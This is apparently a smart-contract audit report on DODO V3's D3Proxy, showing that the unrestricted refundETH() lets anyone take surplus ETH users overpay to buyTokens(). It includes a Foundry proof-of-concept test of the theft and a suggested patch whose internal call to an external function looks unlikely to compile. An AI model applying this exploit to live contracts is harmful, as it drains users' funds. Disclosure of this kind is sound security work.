Mammoth Sky Baboon

medium

# D3Proxy.sol :: buyTokens() If a user sends an excess amount of ETH to purchase tokens, another user can misappropriate the surplus.

## Summary
**`buyTokens()`** enables the purchase of tokens with **ETH**, but users face uncertainty about the necessary **ETH** due to its calculated based on the **`quoteAmount`** (representing the desired token quantity). Consequently, users may send more **ETH** than required. 
This vulnerability can be exploited by a malicious actor who subsequently calls **`refundETH()`**, stealing the excess **ETH** of the user.
## Vulnerability Detail
Users utilize **`buyTokens()`** function to acquire tokens with **ETH**.
```Solidity
function buyTokens(
        address pool,
        address to,
        address fromToken,
        address toToken,
        uint256 quoteAmount,
        uint256 maxPayAmount,
        bytes calldata data,
        uint256 deadLine
    ) public payable judgeExpired(deadLine) returns (uint256 payFromAmount) {
        SwapCallbackData memory swapData;
        swapData.data = data;
        swapData.payer = msg.sender;

        if (fromToken == _ETH_ADDRESS_) {
            payFromAmount = ID3MM(pool).buyToken(to, _WETH_, toToken, quoteAmount, maxPayAmount, abi.encode(swapData));
            // multicall refund eth to user
        } else if (toToken == _ETH_ADDRESS_) {
            payFromAmount = ID3MM(pool).buyToken(address(this), fromToken, _WETH_, quoteAmount, maxPayAmount, abi.encode(swapData));
            _withdrawWETH(to, quoteAmount);
            // multicall withdraw weth to user
        } else {
            payFromAmount = ID3MM(pool).buyToken(to, fromToken, toToken, quoteAmount, maxPayAmount, abi.encode(swapData));
        }
    }
```
Users will send an approximate amount of **ETH** to purchase tokens, as the exact quantity is determined by the **`quoteAmount`**. Users can only specify a **`maxPayAmount`** to ensure they do not exceed their intended payment amount.
```Solidity
/// @param quoteAmount The amount of the toToken you want to buy
/// @param maxPayAmount The maximum amount of fromToken you would like to pay
```
Consequently, users often send more ETH than required to prevent transaction to revert.

The surplus **ETH** can be reclaimed through **`refundETH()`**.
```Solidity
function refundETH() external payable {
        if (address(this).balance > 0) {
            _safeTransferETH(msg.sender, address(this).balance);
        }
    }
```
It's crucial to note that the function lacks access control and is external, this can be exploited by malicious users or MEV bots that monitor the contract balance and, upon a positive balance, call the function to misappropriate user funds.

## POC
- To run the POC copy the code to **`D3Trading.t.sol`**.
- Execute **`forge test --match-test test_ExcedentOfETHisStolen`** in the terminal.
```Solidity
function test_ExcedentOfETHisStolen() public {

        address _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

        SwapCallbackData memory swapData;
        swapData.data = "";
        swapData.payer = user1;

        //Send some ETH to the user
        vm.deal(user1, 2 ether);

        uint256 USER1_beforeBalanceETH = user1.balance;
        uint256 USER2_beforeBalanceETH = user2.balance;

        //Check the balances of the users
        assertEq(USER1_beforeBalanceETH, 2 ether);
        assertEq(USER2_beforeBalanceETH, 0 ether);
        
        //Buy tokens
        vm.prank(user1);
        uint256 receiveToToken = d3Proxy.buyTokens{value: 1 ether}(
        address(d3MM),
        user1,
        _ETH_ADDRESS_,
        address(token3),
        1 ether,
        30 ether,
        abi.encode(swapData),
        block.timestamp + 1000
        );

        //Check the balance of Contract
        uint256 contractBalance_ETH = address(d3Proxy).balance;
        assertGt(contractBalance_ETH, 0);

        //USER2 steals the excedent ETH of the USER1
        vm.prank(user2);
        d3Proxy.refundETH();

        uint256 USER2_afterBalanceETH = user2.balance;

        assertEq(contractBalance_ETH, USER2_afterBalanceETH);
    }
```
## Impact
Users may lose the surplus **ETH** sent to purchase tokens.
## Code Snippet
https://github.com/sherlock-audit/2023-12-dodo/blob/ea7f786161113144562a900dbff31457ff7025ef/dodo-v3/contracts/DODOV3MM/periphery/D3Proxy.sol#L116-L140
https://github.com/sherlock-audit/2023-12-dodo/blob/ea7f786161113144562a900dbff31457ff7025ef/dodo-v3/contracts/DODOV3MM/periphery/D3Proxy.sol#L203-L207
## Tool used
Manual Review
## Recommendation
To address this issue, you can implement a solution by checking if **`address(this).balance > 0`**. If true, you can then call **`refundETH()`** within the same transaction. An adjustment to **`buyTokens()`** could be made as follows:
```diff
function buyTokens(
        address pool,
        address to,
        address fromToken,
        address toToken,
        uint256 quoteAmount,
        uint256 maxPayAmount,
        bytes calldata data,
        uint256 deadLine
    ) public payable judgeExpired(deadLine) returns (uint256 payFromAmount) {
        SwapCallbackData memory swapData;
        swapData.data = data;
        swapData.payer = msg.sender;

        if (fromToken == _ETH_ADDRESS_) {
            payFromAmount = ID3MM(pool).buyToken(to, _WETH_, toToken, quoteAmount, maxPayAmount, abi.encode(swapData));
            // multicall refund eth to user
        } else if (toToken == _ETH_ADDRESS_) {
            payFromAmount = ID3MM(pool).buyToken(address(this), fromToken, _WETH_, quoteAmount, maxPayAmount, abi.encode(swapData));
            _withdrawWETH(to, quoteAmount);
            // multicall withdraw weth to user
        } else {
            payFromAmount = ID3MM(pool).buyToken(to, fromToken, toToken, quoteAmount, maxPayAmount, abi.encode(swapData));
        }

+       if (address(this).balance > 0) {
+            refundETH();
+       }
    }
```
